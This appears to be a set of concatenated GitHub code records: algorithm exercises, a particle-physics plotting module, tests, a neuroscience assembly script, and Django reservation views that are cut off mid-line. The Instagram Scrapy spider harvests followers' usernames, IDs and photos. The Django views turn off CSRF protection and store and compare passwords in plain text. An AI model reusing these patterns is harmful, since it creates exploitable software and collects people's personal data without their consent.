region of 1s.\n def findMaxArea(self, grid):\n #Code here\n n = len(grid)\n m = len(grid[0])\n visit = set()\n area = 0\n \n \n \n def dfs(r,c):\n nonlocal count \n count += 1\n visit.add((r,c))\n \n for dr,dc in (-1,-1),(-1,0),(-1,1),(0,1),(1,1),(1,0),(1,-1),(0,-1):\n if r+dr in range(n) and c+dc in range(m) and grid[r+dr][c+dc] == 1 and (r+dr,c+dc) not in visit:\n dfs(r+dr,c+dc)\n \n for i in range(n):\n for j in range(m):\n if grid[i][j] == 1 and (i,j) not in visit:\n count = 0\n dfs(i,j)\n area = max(area, count)\n return area\n#{ \n# Driver Code Starts\nif __name__ == '__main__':\n T=int(input())\n for i in range(T):\n n, m = map(int, input().split())\n grid = []\n for _ in range(n):\n a = list(map(int, input().split()))\n grid.append(a)\n obj = Solution()\n ans = obj.findMaxArea(grid)\n print(ans)\n\n# } Driver Code Ends\n","repo_name":"pritam1322/-6Companies30days","sub_path":"Microsoft/Unit Area of largest region of 1's.py","file_name":"Unit Area of largest region of 1's.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23985257576","text":"\"\"\"Efficiency plots vs. specific variable.\"\"\"\nfrom __future__ import annotations\n\nfrom typing import ClassVar\n\nimport numpy as np\n\n# TODO: fix the import below\nfrom puma.metrics import eff_err, rej_err\nfrom puma.utils import logger\nfrom puma.utils.histogram import save_divide\nfrom puma.var_vs_var import VarVsVar, VarVsVarPlot\n\n\nclass VarVsEff(VarVsVar): # pylint: disable=too-many-instance-attributes\n \"\"\"\n var_vs_eff class storing info about curve and allows to calculate ratio w.r.t other\n efficiency plots.\n \"\"\"\n\n def __init__(\n self,\n x_var_sig: np.ndarray,\n disc_sig: np.ndarray,\n x_var_bkg: np.ndarray = None,\n disc_bkg: np.ndarray = None,\n bins=10,\n working_point: float | None = None,\n disc_cut=None,\n flat_per_bin: bool = False,\n key: str | None = None,\n **kwargs,\n ) -> None:\n \"\"\"Initialise properties of roc curve object.\n\n Parameters\n ----------\n x_var_sig : np.ndarray\n Values for x-axis variable for signal\n disc_sig : np.ndarray\n Discriminant values for signal\n x_var_bkg : np.ndarray, optional\n Values for x-axis variable for background, by default None\n disc_bkg : np.ndarray, optional\n Discriminant values for background, by default None\n bins : int or sequence of scalars, optional\n If bins is an int, it defines the number of equal-width bins in the\n given range (10, by default). If bins is a sequence, it defines a\n monotonically increasing array of bin edges, including the\n rightmost edge, allowing for non-uniform bin widths, by default 10\n working_point : float, optional\n Working point, by default None\n disc_cut : float or sequence of floats, optional\n Cut value for discriminant, if it is a sequence it has to have the same\n length as number of bins, by default None\n flat_per_bin : bool, optional\n If True and no `disc_cut` is given the signal efficiency is held constant\n in each bin, by default False\n key : str, optional\n Identifier for the curve e.g. tagger, by default None\n **kwargs : kwargs\n Keyword arguments passed to `PlotLineObject`\n\n Raises\n ------\n ValueError\n If provided options are not compatible with each other\n \"\"\"\n # TODO: in python 3.10 add multipe type operator | for bins and disc_cut\n\n if len(x_var_sig) != len(disc_sig):\n raise ValueError(\n f\"Length of `x_var_sig` ({len(x_var_sig)}) and `disc_sig` \"\n f\"({len(disc_sig)}) have to be identical.\"\n )\n if x_var_bkg is not None and len(x_var_bkg) != len(disc_bkg):\n raise ValueError(\n f\"Length of `x_var_bkg` ({len(x_var_bkg)}) and `disc_bkg` \"\n f\"({len(disc_bkg)}) have to be identical.\"\n )\n # checking that the given options are compatible\n # could also think about porting it to a class function insted of passing\n # the arguments to init e.g. `set_method`\n if working_point is None and disc_cut is None:\n raise ValueError(\"Either `wp` or `disc_cut` needs to be specified.\")\n if flat_per_bin:\n if disc_cut is not None:\n raise ValueError(\n \"You cannot specify `disc_cut` when `flat_per_bin` is set to True.\"\n )\n if working_point is None:\n raise ValueError(\n \"You need to specify a working point `wp`, when `flat_per_bin` is\"\n \" set to True.\"\n )\n self.x_var_sig = np.array(x_var_sig)\n self.disc_sig = np.array(disc_sig)\n self.x_var_bkg = None if x_var_bkg is None else np.array(x_var_bkg)\n self.disc_bkg = None if disc_bkg is None else np.array(disc_bkg)\n self.working_point = working_point\n self.disc_cut = disc_cut\n self.flat_per_bin = flat_per_bin\n # Binning related variables\n self.n_bins = None\n self.bn_edges = None\n self.x_bin_centres = None\n self.bin_widths = None\n self.n_bins = None\n # Binned distributions\n self.bin_indices_sig = None\n self.disc_binned_sig = None\n self.bin_indices_bkg = None\n self.disc_binned_bkg = None\n\n self._set_bin_edges(bins)\n\n if disc_cut is not None:\n if working_point is not None:\n raise ValueError(\"You cannot specify `disc_cut` when providing `wp`.\")\n if isinstance(disc_cut, (list, np.ndarray)) and self.n_bins != len(\n disc_cut\n ):\n raise ValueError(\n \"`disc_cut` has to be a float or has to have the same length as\"\n \" number of bins.\"\n )\n self._apply_binning()\n self._get_disc_cuts()\n\n VarVsVar.__init__(\n self,\n x_var=self.x_bin_centres,\n y_var_mean=np.zeros_like(self.x_bin_centres),\n y_var_std=np.zeros_like(self.x_bin_centres),\n x_var_widths=2 * self.bin_widths,\n key=key,\n fill=True,\n plot_y_std=False,\n **kwargs,\n )\n self.inverse_cut = False\n\n def _set_bin_edges(self, bins):\n \"\"\"Calculate bin edges, centres and width and save them as class variables.\n\n Parameters\n ----------\n bins : int or sequence of scalars\n If bins is an int, it defines the number of equal-width bins in the given\n range. If bins is a sequence, it defines a monotonically increasing array of\n bin edges, including the rightmost edge, allowing for non-uniform bin\n widths.\n \"\"\"\n logger.debug(\"Calculating binning.\")\n if isinstance(bins, int):\n # With this implementation, the data point with x=xmax will be added to the\n # overflow bin.\n xmin, xmax = np.amin(self.x_var_sig), np.amax(self.x_var_sig)\n if self.x_var_bkg is not None:\n xmin = min(xmin, np.amin(self.x_var_bkg))\n xmax = max(xmax, np.amax(self.x_var_bkg))\n # increasing xmax slightly to inlcude largest value due to hehavior of\n # np.digitize\n xmax *= 1 + 1e-5\n self.bin_edges = np.linspace(xmin, xmax, bins + 1)\n elif isinstance(bins, (list, np.ndarray)):\n self.bin_edges = np.array(bins)\n logger.debug(\"Retrieved bin edges %s}\", self.bin_edges)\n # Get the bins for the histogram\n self.x_bin_centres = (self.bin_edges[:-1] + self.bin_edges[1:]) / 2.0\n self.bin_widths = (self.bin_edges[1:] - self.bin_edges[:-1]) / 2.0\n self.n_bins = self.bin_edges.size - 1\n logger.debug(\"N bins: %i\", self.n_bins)\n\n def _apply_binning(self):\n \"\"\"Get binned distributions for the signal and background.\"\"\"\n logger.debug(\"Applying binning.\")\n self.bin_indices_sig = np.digitize(self.x_var_sig, self.bin_edges)\n if np.all(self.bin_indices_sig == 0):\n logger.error(\"All your signal is in the underflow bin. Check your input.\")\n # retrieve for each bin the part of self.disc_sig corresponding to this bin\n # and put them in a list\n self.disc_binned_sig = list(\n map(\n lambda x: self.disc_sig[np.where(self.bin_indices_sig == x)[0]],\n range(1, len(self.bin_edges)),\n )\n )\n if self.x_var_bkg is not None:\n self.bin_indices_bkg = np.digitize(self.x_var_bkg, self.bin_edges)\n self.disc_binned_bkg = list(\n map(\n lambda x: self.disc_bkg[np.where(self.bin_indices_bkg == x)[0]],\n range(1, len(self.bin_edges)),\n )\n )\n\n def _get_disc_cuts(self):\n \"\"\"Retrieve cut values on discriminant. If `disc_cut` is not given, retrieve\n cut values from the working point.\n \"\"\"\n logger.debug(\"Calculate discriminant cut.\")\n if isinstance(self.disc_cut, (float, int)):\n self.disc_cut = [self.disc_cut] * self.n_bins\n elif isinstance(self.disc_cut, (list, np.ndarray)):\n self.disc_cut = self.disc_cut\n elif self.flat_per_bin:\n self.disc_cut = list(\n map(\n lambda x: np.percentile(x, (1 - self.working_point) * 100),\n self.disc_binned_sig,\n )\n )\n else:\n self.disc_cut = [\n np.percentile(self.disc_sig, (1 - self.working_point) * 100)\n ] * self.n_bins\n logger.debug(\"Discriminant cut: %.3f\", self.disc_cut)\n\n def efficiency(self, arr: np.ndarray, cut: float):\n \"\"\"Calculate efficiency and the associated error.\n\n Parameters\n ----------\n arr : np.ndarray\n Array with discriminants\n cut : float\n Cut value\n\n Returns\n -------\n float\n Efficiency\n float\n Efficiency error\n \"\"\"\n eff = (\n sum(arr < cut) / len(arr) if self.inverse_cut else sum(arr > cut) / len(arr)\n )\n eff_error = eff_err(eff, len(arr))\n return eff, eff_error\n\n def rejection(self, arr: np.ndarray, cut: float):\n \"\"\"Calculate rejection and the associated error.\n\n Parameters\n ----------\n arr : np.ndarray\n Array with discriminants\n cut : float\n Cut value\n\n Returns\n -------\n float\n Rejection\n float\n Rejection error\n \"\"\"\n if self.inverse_cut:\n rej = save_divide(len(arr), sum(arr < cut), default=np.inf)\n else:\n rej = save_divide(len(arr), sum(arr > cut), default=np.inf)\n if rej == np.inf:\n logger.warning(\"Your rejection is infinity -> setting it to np.nan.\")\n return np.nan, np.nan\n rej_error = rej_err(rej, len(arr))\n return rej, rej_error\n\n @property\n def bkg_eff_sig_err(self):\n \"\"\"Calculate signal efficiency per bin, assuming a flat background per\n bin. This results in returning the signal efficiency per bin, but the\n background error per bin.\n \"\"\"\n logger.debug(\"Calculating signal efficiency.\")\n eff = np.array(list(map(self.efficiency, self.disc_binned_bkg, self.disc_cut)))[\n :, 0\n ]\n err = np.array(list(map(self.efficiency, self.disc_binned_sig, self.disc_cut)))[\n :, 1\n ]\n logger.debug(\"Retrieved signal efficiencies: %s\", eff)\n return eff, err\n\n @property\n def sig_eff(self):\n \"\"\"Calculate signal efficiency per bin.\n\n Returns\n -------\n np.ndarray\n Efficiency\n np.ndarray\n Efficiency_error\n \"\"\"\n logger.debug(\"Calculating signal efficiency.\")\n eff = list(map(self.efficiency, self.disc_binned_sig, self.disc_cut))\n logger.debug(\"Retrieved signal efficiencies: %s\", eff)\n return np.array(eff)[:, 0], np.array(eff)[:, 1]\n\n @property\n def bkg_eff(self):\n \"\"\"Calculate background efficiency per bin.\n\n Returns\n -------\n np.ndarray\n Efficiency\n np.ndarray\n Efficiency_error\n \"\"\"\n logger.debug(\"Calculating background efficiency.\")\n eff = list(map(self.efficiency, self.disc_binned_bkg, self.disc_cut))\n logger.debug(\"Retrieved background efficiencies: %.2f\", eff)\n return np.array(eff)[:, 0], np.array(eff)[:, 1]\n\n @property\n def sig_rej(self):\n \"\"\"Calculate signal rejection per bin.\n\n Returns\n -------\n np.ndarray\n Rejection\n np.ndarray\n Rejection_error\n \"\"\"\n logger.debug(\"Calculating signal rejection.\")\n rej = list(map(self.rejection, self.disc_binned_sig, self.disc_cut))\n logger.debug(\"Retrieved signal rejections: %.1f\", rej)\n return np.array(rej)[:, 0], np.array(rej)[:, 1]\n\n @property\n def bkg_rej(self):\n \"\"\"Calculate background rejection per bin.\n\n Returns\n -------\n np.ndarray\n Rejection\n np.ndarray\n Rejection_error\n \"\"\"\n logger.debug(\"Calculating background rejection.\")\n rej = list(map(self.rejection, self.disc_binned_bkg, self.disc_cut))\n logger.debug(\"Retrieved background rejections: %s\", rej)\n return np.array(rej)[:, 0], np.array(rej)[:, 1]\n\n def __eq__(self, other):\n if isinstance(other, self.__class__):\n return (\n np.all(self.x_var_sig == other.x_var_sig)\n and np.all(self.disc_sig == other.disc_sig)\n and np.all(self.x_var_bkg == other.x_var_bkg)\n and np.all(self.disc_bkg == other.disc_bkg)\n and np.all(self.bn_edges == other.bn_edges)\n and self.working_point == other.working_point\n and np.all(self.disc_cut == other.disc_cut)\n and self.flat_per_bin == other.flat_per_bin\n and self.key == other.key\n )\n return False\n\n def get(self, mode: str, inverse_cut: bool = False):\n \"\"\"Wrapper around rejection and efficiency functions.\n\n Parameters\n ----------\n mode : str\n Can be \"sig_eff\", \"bkg_eff\", \"sig_rej\", \"bkg_rej\", or\n \"bkg_eff_sig_err\"\n inverse_cut : bool, optional\n Inverts the discriminant cut, which will yield the efficiency or rejection\n of the jets not passing the working point, by default False\n\n Returns\n -------\n np.ndarray\n Rejection or efficiency depending on `mode` value\n np.ndarray\n Rejection or efficiency error depending on `mode` value\n\n Raises\n ------\n ValueError\n If mode not supported\n \"\"\"\n self.inverse_cut = inverse_cut\n # TODO: python 3.10 switch to cases syntax\n if mode == \"sig_eff\":\n return self.sig_eff\n if mode == \"bkg_eff\":\n return self.bkg_eff\n if mode == \"sig_rej\":\n return self.sig_rej\n if mode == \"bkg_rej\":\n return self.bkg_rej\n if mode == \"bkg_eff_sig_err\":\n return self.bkg_eff_sig_err\n # setting class variable again to False\n self.inverse_cut = False\n raise ValueError(\n f\"The selected mode {mode} is not supported. Use one of the following:\"\n f\" {VarVsEffPlot.mode_options}.\"\n )\n\n\nclass VarVsEffPlot(VarVsVarPlot): # pylint: disable=too-many-instance-attributes\n \"\"\"var_vs_eff plot class\"\"\"\n\n mode_options: ClassVar[list[str]] = [\n \"sig_eff\",\n \"bkg_eff\",\n \"sig_rej\",\n \"bkg_rej\",\n \"bkg_eff_sig_err\",\n ]\n\n def __init__(self, mode, grid: bool = False, **kwargs) -> None:\n \"\"\"var_vs_eff plot properties.\n\n Parameters\n ----------\n mode : str\n Defines which quantity is plotted, the following options ar available:\n sig_eff - Plots signal efficiency vs. variable, with statistical error\n on N signal per bin\n bkg_eff - Plots background efficiency vs. variable, with statistical\n error on N background per bin\n sig_rej - Plots signal rejection vs. variable, with statistical error\n on N signal per bin\n bkg_rej - Plots background rejection vs. variable, with statistical\n error on N background per bin\n bkg_eff_sig_err - Plots background efficiency vs. variable, with\n statistical error on N signal per bin.\n grid : bool, optional\n Set the grid for the plots.\n **kwargs : kwargs\n Keyword arguments from `puma.PlotObject`\n\n Raises\n ------\n ValueError\n If incompatible mode given or more than 1 ratio panel requested\n \"\"\"\n super().__init__(grid=grid, **kwargs)\n if mode not in self.mode_options:\n raise ValueError(\n f\"The selected mode {mode} is not supported. Use one of the following: \"\n f\"{self.mode_options}.\"\n )\n self.mode = mode\n\n def _setup_curves(self):\n for key in self.add_order:\n elem = self.plot_objects[key]\n y_value, y_error = elem.get(self.mode, inverse_cut=self.inverse_cut)\n elem.y_var_mean = y_value\n elem.y_var_std = y_error\n\n def apply_modified_atlas_second_tag(\n self,\n signal,\n working_point=None,\n disc_cut=None,\n flat_per_bin=False,\n ):\n \"\"\"Modifies the atlas_second_tag to include info on the type of p-eff plot\n being displayed\n \"\"\"\n if working_point:\n mid_str = f\"{round(working_point*100, 3)}% \" + signal.eff_str\n elif disc_cut:\n mid_str = rf\"$D_{{{signal.name.rstrip('jets')}}}$ > {disc_cut}\"\n tag = f\"Flat {mid_str} per bin\" if flat_per_bin else f\"{mid_str}\"\n if self.atlas_second_tag:\n self.atlas_second_tag = f\"{self.atlas_second_tag}\\n{tag}\"\n else:\n self.atlas_second_tag = tag\n\n def plot(self, **kwargs):\n \"\"\"Plotting curves.\n\n Parameters\n ----------\n **kwargs: kwargs\n Keyword arguments passed to plt.axis.errorbar\n\n Returns\n -------\n Line2D\n matplotlib Line2D object\n \"\"\"\n logger.debug(\"Plotting curves with mode %s\", self.mode)\n self._setup_curves()\n return super().plot(**kwargs)\n","repo_name":"umami-hep/puma","sub_path":"puma/var_vs_eff.py","file_name":"var_vs_eff.py","file_ext":"py","file_size_in_byte":17983,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"41679587987","text":"import pytest\n\nfrom ipywidgets import widgets\nfrom utils.widgets import UI\n\n\n@pytest.mark.parametrize(\n \"ui_method\",\n [\n UI.choose_output_folder,\n UI.authenticate,\n UI.load_aoi,\n UI.create_search_params,\n UI.search_available_images,\n UI.show_quicklooks,\n UI.optimize_coverage,\n UI.test_workflow,\n UI.run_workflow,\n UI.mosaic_sections,\n UI.view_mosaic,\n ],\n)\ndef test_ui(ui_method, capsys):\n ui = UI()\n ui_method(ui)\n\n captured = capsys.readouterr()\n assert captured.out\n\n\ndef test_process_template(capsys):\n button = widgets.Button(description=\"Authenticate!\")\n\n def a_func():\n pass\n\n UI.process_template([], button, a_func)\n captured = capsys.readouterr()\n assert captured.out\n\n\ndef test_ensure_variables():\n ui = UI()\n ui.outdir = \"path_to_file\"\n assert ui.ensure_variables([ui.outdir])\n assert not ui.ensure_variables([ui.outdir, ui.aoi])\n assert not ui.ensure_variables([ui.aoi])\n","repo_name":"up42/mosaicking","sub_path":"tests/test_widgets.py","file_name":"test_widgets.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"73590281173","text":"# user: Mousa-mahmood-hilal\n#Problem: codeforces 1735A - Working Week\nk=int(input())\nwhile k:\n n=int(input())\n n-=6\n if n>0:\n print(n//3)\n else:\n print(0)\n k-=1","repo_name":"Mousa-mahmood-hilal/solution-codeforces-in-python","sub_path":"1735A - Working Week.py","file_name":"1735A - Working Week.py","file_ext":"py","file_size_in_byte":189,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"71329359573","text":"import scrapy\nfrom scrapy.http import HtmlResponse\nfrom instagram.items import InstagramItem\nimport re\nimport json\nfrom urllib.parse import urlencode\nfrom copy import deepcopy\n\n\nclass InstaparserSpider(scrapy.Spider):\n name = 'instaparser'\n allowed_domains = ['instagram.com']\n start_urls = ['https://instagram.com/']\n \n insta_login = ''\n insta_pwd = ''\n inst_login_link = 'https://www.instagram.com/accounts/login/ajax/'\n \n parse_user = ['skydivecats', 'hellge.fly']\n graphql_url = 'https://www.instagram.com/graphql/query/?'\n \n config = [{'query_hash': 'c76146de99bb02f6415203be841dd25a', 'path': 'edge_followed_by'},\n {'query_hash': 'd04b0a864b4b54837c0d870b0e77e076', 'path': 'edge_follow'}]\n\n \n def parse(self, response: HtmlResponse):\n csrf_token = self.fetch_csrf_token(response.text)\n yield scrapy.FormRequest(\n self.inst_login_link,\n method = 'POST',\n callback = self.user_parse,\n formdata = {'username': self.insta_login, 'enc_password': self.insta_pwd},\n headers = {'X-CSRFToken': csrf_token}\n )\n \n def user_parse(self, response: HtmlResponse):\n j_body = json.loads(response.text)\n if j_body['authenticated']:\n for self.usr in self.parse_user:\n yield response.follow(\n f'/{self.usr}',\n callback = self.user_data_parse,\n cb_kwargs = {'username': self.usr}\n )\n\n\n def user_data_parse(self, response:HtmlResponse, username):\n user_id = self.fetch_user_id(response.text, username)\n variables={'id': user_id,\n 'include_reel': 'true',\n 'fetch_mutual': 'true',\n 'first': 50,\n }\n for self.itm in self.config:\n config_path = self.itm['path']\n config_hash = self.itm['query_hash']\n url_list = f\"{self.graphql_url}query_hash={config_hash}&{urlencode(variables)}\"\n \n if self.itm['path'] == 'edge_followed_by':\n method = self.edge_followed_by\n else:\n method = self.edge_follow\n \n yield response.follow(\n url_list,\n callback = method,\n cb_kwargs = {'username':username,\n 'user_id':user_id,\n 'config_path': deepcopy(config_path),\n 'config_hash': deepcopy(config_hash),\n 'variables':deepcopy(variables)}\n )\n\n def edge_followed_by(self, response:HtmlResponse, username, user_id, config_path, config_hash, variables):\n j_data = json.loads(response.text)\n page_info = j_data.get('data').get('user').get(config_path).get('page_info') \n if page_info.get('has_next_page'): #Если есть следующая страница\n variables['after'] = page_info['end_cursor'] #Новый параметр для перехода на след. страницу\n url_list = f'{self.graphql_url}query_hash={config_hash}&{urlencode(variables)}'\n yield response.follow(\n url_list,\n callback=self.edge_followed_by,\n cb_kwargs = {'username':username,\n 'user_id':user_id,\n 'config_path': deepcopy(config_path),\n 'config_hash': deepcopy(config_hash),\n 'variables':deepcopy(variables)}\n )\n users = j_data.get('data').get('user').get(config_path).get('edges')\n for user in users:\n item = InstagramItem(\n user_id = user_id,\n utype = config_path,\n uid = user['node']['id'],\n username = user['node']['username'],\n photo = user['node']['profile_pic_url'],\n )\n yield item \n \n \n def edge_follow(self, response:HtmlResponse, username, user_id, config_path, config_hash, variables):\n j_data = json.loads(response.text)\n page_info = j_data.get('data').get('user').get(config_path).get('page_info') \n if page_info.get('has_next_page'): #Если есть следующая страница\n variables['after'] = page_info['end_cursor'] #Новый параметр для перехода на след. страницу\n url_list = f'{self.graphql_url}query_hash={config_hash}&{urlencode(variables)}'\n yield response.follow(\n url_list,\n callback=self.edge_follow,\n cb_kwargs = {'username':username,\n 'user_id':user_id,\n 'config_path': deepcopy(config_path),\n 'config_hash': deepcopy(config_hash),\n 'variables':deepcopy(variables)}\n )\n users = j_data.get('data').get('user').get(config_path).get('edges')\n for user in users:\n item = InstagramItem(\n user_id = user_id,\n utype = config_path,\n uid = user['node']['id'],\n username = user['node']['username'],\n photo = user['node']['profile_pic_url'],\n )\n yield item \n\n\n\n #Получаем токен для авторизации\n def fetch_csrf_token(self, text):\n matched = re.search('\\\"csrf_token\\\":\\\"\\\\w+\\\"', text).group()\n return matched.split(':').pop().replace(r'\"', '')\n\n #Получаем id желаемого пользователя\n def fetch_user_id(self, text, username):\n matched = re.search(\n '{\\\"id\\\":\\\"\\\\d+\\\",\\\"username\\\":\\\"%s\\\"}' % username, text\n ).group()\n return json.loads(matched).get('id')","repo_name":"hellge83/AI_collect_data","sub_path":"les08/instagram/spiders/instaparser.py","file_name":"instaparser.py","file_ext":"py","file_size_in_byte":6046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38573431472","text":"\"\"\"\nMinor modifications to `../assemblyfire/find_assemblies.py` to be able to run on spike traces\nextracted from the co-registered MICrONS dataset (see `query_functional_data.py` for fetching that data)\nlast modified: András Ecker 09.2023\n\"\"\"\n\nimport os\nfrom collections import namedtuple\nimport numpy as np\n\nfrom assemblyfire.utils import ensure_dir\nfrom assemblyfire.spikes import get_sign_rate_th, spikes_to_h5\nfrom assemblyfire.clustering import cluster_spikes, detect_assemblies\nfrom assemblyfire.plots import plot_rate\n\nSpikeMatrixResult = namedtuple(\"SpikeMatrixResult\", [\"spike_matrix\", \"gids\", \"t_bins\"])\n\n\ndef bin_spikes(spikes, idx, t, bin_size, min_th=0.01):\n \"\"\"Convert deconvolved Ca++ traces into assemblyfire's `spike_matrix` format\"\"\"\n assert bin_size > t[1] - t[0]\n sort_idx = np.argsort(idx)\n spikes = spikes[sort_idx, :]\n t_bins = np.arange(t[0], t[-1] + bin_size, bin_size)\n spike_matrix = np.zeros((len(idx), len(t_bins)), dtype=np.float32)\n for i, (t_start, t_end) in enumerate(zip(t_bins[:-1], t_bins[1:])):\n t_idx = np.where((t_start <= t) & (t < t_end))[0]\n spike_matrix[:, i] = np.mean(spikes[:, t_idx], axis=1)\n spike_matrix[spike_matrix < min_th] = 0. # this will make it sparse and our life easier later\n return spike_matrix, idx[sort_idx], t_bins\n\n\nif __name__ == \"__main__\":\n bin_size = 0.5 # s (not ms!)\n fig_path = \"/gpfs/bbp.cscs.ch/project/proj96/home/ecker/figures/v7_assemblies/MICrONS\"\n ensure_dir(fig_path)\n\n # iterate over the folder and find extracted functional data\n for _, _, f_names in os.walk(os.getcwd()):\n for f_name in f_names:\n if f_name[:8] == \"MICrONS_\":\n # bin (custom) \"spikes\" and get sign. time bins\n data = np.load(f_name)\n spike_matrix, gids, t_bins = bin_spikes(data[\"spikes\"], data[\"idx\"], data[\"t\"], bin_size)\n rate = np.sum(spike_matrix, axis=0)\n rate_th = get_sign_rate_th(spike_matrix, \"keep_sc_rate\")\n t_idx = np.where(rate > np.mean(rate) + rate_th)[0]\n # get session and scan id from file name and convert it to fake seed\n session_id = int(f_name.split('_')[1].split(\"session\")[1])\n scan_id = int(f_name.split('_')[2].split(\"scan\")[1].split('.')[0])\n seed = 10 * session_id + scan_id\n plot_rate(rate, rate_th, t_bins[0], t_bins[-1], os.path.join(fig_path, \"rate_seed%i.png\" % seed))\n # save spikes to assemblyfire's format\n spike_matrix_dict = {seed: SpikeMatrixResult(spike_matrix[:, t_idx], gids, t_bins[t_idx])}\n metadata = {\"root_path\": \"MICrONS_session%i_scan%i\" % (session_id, scan_id),\n \"t\": np.array([t_bins[0], t_bins[-1]]),\n \"stim_times\": data[\"stim_times\"], \"patterns\": data[\"pattern_names\"].tolist()}\n h5f_name = \"assemblies_session%i_scan%i.h5\" % (session_id, scan_id)\n spikes_to_h5(h5f_name, spike_matrix_dict, metadata, \"spikes\")\n # no (drastic) changes from here... everything as in `../assemblyfire/find_assemblies.py`\n clusters_dict = cluster_spikes(spike_matrix_dict, {}, metadata, fig_path)\n detect_assemblies(spike_matrix_dict, clusters_dict, 95, h5f_name, \"assemblies\", None, fig_path)\n\n","repo_name":"BlueBrain/assemblyfire","sub_path":"MICrONS/find_assemblies.py","file_name":"find_assemblies.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"11576384478","text":"import logging\n\nfrom sqlalchemy.orm import Session\n\nfrom core.db.models.role import Role\nfrom core.exceptions.db import DbError\n\nlogger = logging.getLogger('db')\n\n\ndef create_role(\n sess: Session,\n role: str,\n description: str = None\n) -> Role:\n try:\n role = Role(\n role_id=role,\n description=description\n )\n sess.add(role)\n sess.commit()\n sess.refresh(role)\n logger.debug(f'Create role in db: type={role.role_id}')\n return role\n except Exception:\n sess.rollback()\n raise DbError('Can not create user in db')\n","repo_name":"gosha20777/mipt-networks-2022","sub_path":"app/core/db/operations/role.py","file_name":"role.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29700038754","text":"import numpy as np\n\ndef linclass(weight, bias, data):\n # Linear Classifier\n #\n # INPUT:\n # weight : weights (dim x 1)\n # bias : bias term (scalar)\n # data : Input to be classified (num_samples x dim)\n #\n # OUTPUT:\n # class_pred : Predicted class (+-1) values (num_samples x 1)\n\n #####Insert your code here for subtask 1b#####\n # Perform linear classification i.e. class prediction\n N = data.shape[0]\n class_pred = np.array([weight @ data[i, :] + bias for i in range(N)])\n class_pred = np.array([1 if x > 0 else -1 for x in class_pred]) # Put between +-1\n\n return class_pred\n\n\n","repo_name":"mariogmarq/ML","sub_path":"exercise-02/HandIn/q1_leastSquare_linear_classifier_python/linclass.py","file_name":"linclass.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74528884692","text":"from datetime import datetime, timedelta\n\nfrom django import forms\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.http import Http404, HttpResponse\nfrom django.shortcuts import render, render_to_response\nfrom django.template import RequestContext\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom hackathon.core.forms import RecreationForm, ReservationForm, UserForm\nfrom hackathon.core.models import Recreation, Reservation\n\n@csrf_exempt\ndef create_recreation(request, template_name=\"create-recreation.html\"):\n success = \"\"\n if request.method == \"POST\":\n form = RecreationForm(data=request.POST)\n try:\n if form.errors:\n raise forms.ValidationError(form.errors)\n\n Recreation.objects.create(\n name = form.cleaned_data[\"name\"],\n max_duration = form.cleaned_data[\"max_duration\"],\n reservation_cooldown = form.cleaned_data[\"reservation_cooldown\"]\n )\n success = \"recreation created!\"\n form = RecreationForm()\n except forms.ValidationError:\n return render_to_response(template_name, {\"recreation_form\": form}, context_instance=RequestContext(request))\n else:\n form = RecreationForm()\n\n return render_to_response(template_name, {\"recreation_form\": form, \"success\": success})\n\n@csrf_exempt\ndef create_reservation(request, template_name=\"create-reservation.html\"):\n success = \"\"\n if request.method == \"POST\":\n form = ReservationForm(data=request.POST)\n try:\n if form.errors or\\\n not User.objects.filter(email=form.cleaned_data[\"email\"]) or\\\n not User.objects.get(email=form.cleaned_data[\"email\"]).password == form.cleaned_data[\"password\"]:\n raise forms.ValidationError(form.errors)\n start_date = datetime.today() if form.cleaned_data[\"date_choices\"] == u\"today\" else datetime.today() + timedelta(days=1)\n start_datetime = datetime.combine(start_date, datetime.strptime(form.cleaned_data[\"time_choices\"], \"%H:%M\").time())\n end_datetime = start_datetime + timedelta(minutes=form.cleaned_data[\"duration\"])\n\n Reservation.objects.create(\n notes = form.cleaned_data[\"notes\"],\n start_time = start_datetime,\n end_time = end_datetime,\n recreation = form.cleaned_data[\"recreation\"],\n user = User.objects.get(email=form.cleaned_data[\"email\"])\n )\n success = \"%s reserved!\" % form.cleaned_data[\"recreation\"].name\n form = ReservationForm()\n except forms.ValidationError:\n errors = forms.util.ErrorList()\n errors = form._errors.setdefault(forms.forms.NON_FIELD_ERRORS, errors)\n errors.append('Invalid email or password')\n return render_to_response(template_name, {\"reservation_form\": form}, context_instance=RequestContext(request))\n else:\n form = ReservationForm()\n\n return render_to_response(template_name, {\"reservation_form\": form, \"success\": success})\n\n@csrf_exempt\ndef create_user(request, template_name=\"create-user.html\"):\n success = \"\"\n if request.method == \"POST\":\n form = UserForm(data=request.POST)\n try:\n if form.errors:\n raise forms.ValidationError(form.errors)\n\n User.objects.create(\n email = form.cleaned_data[\"email\"],\n username = form.cleaned_data[\"email\"].split(\"@\")[0],\n password = form.cleaned_data[\"password\"]\n )\n success = \"%s signed up!\" % form.cleaned_data[\"email\"].split(\"@\")[0]\n form = UserForm()\n except forms.ValidationError:\n return render_to_response(template_name, {\"user_form\": form}, context_instance=RequestContext(request))\n else:\n form = UserForm()\n\n return render_to_response(template_name, {\"user_form\": form, \"success\": success})\n\n@csrf_exempt\ndef index(request, template_name=\"index.html\"):\n reservations = Reservation.objects.filter(end_time__gte=datetime.now()).order_by(\"start_time\")\n return render_to_response(template_name, {\"reservations\": 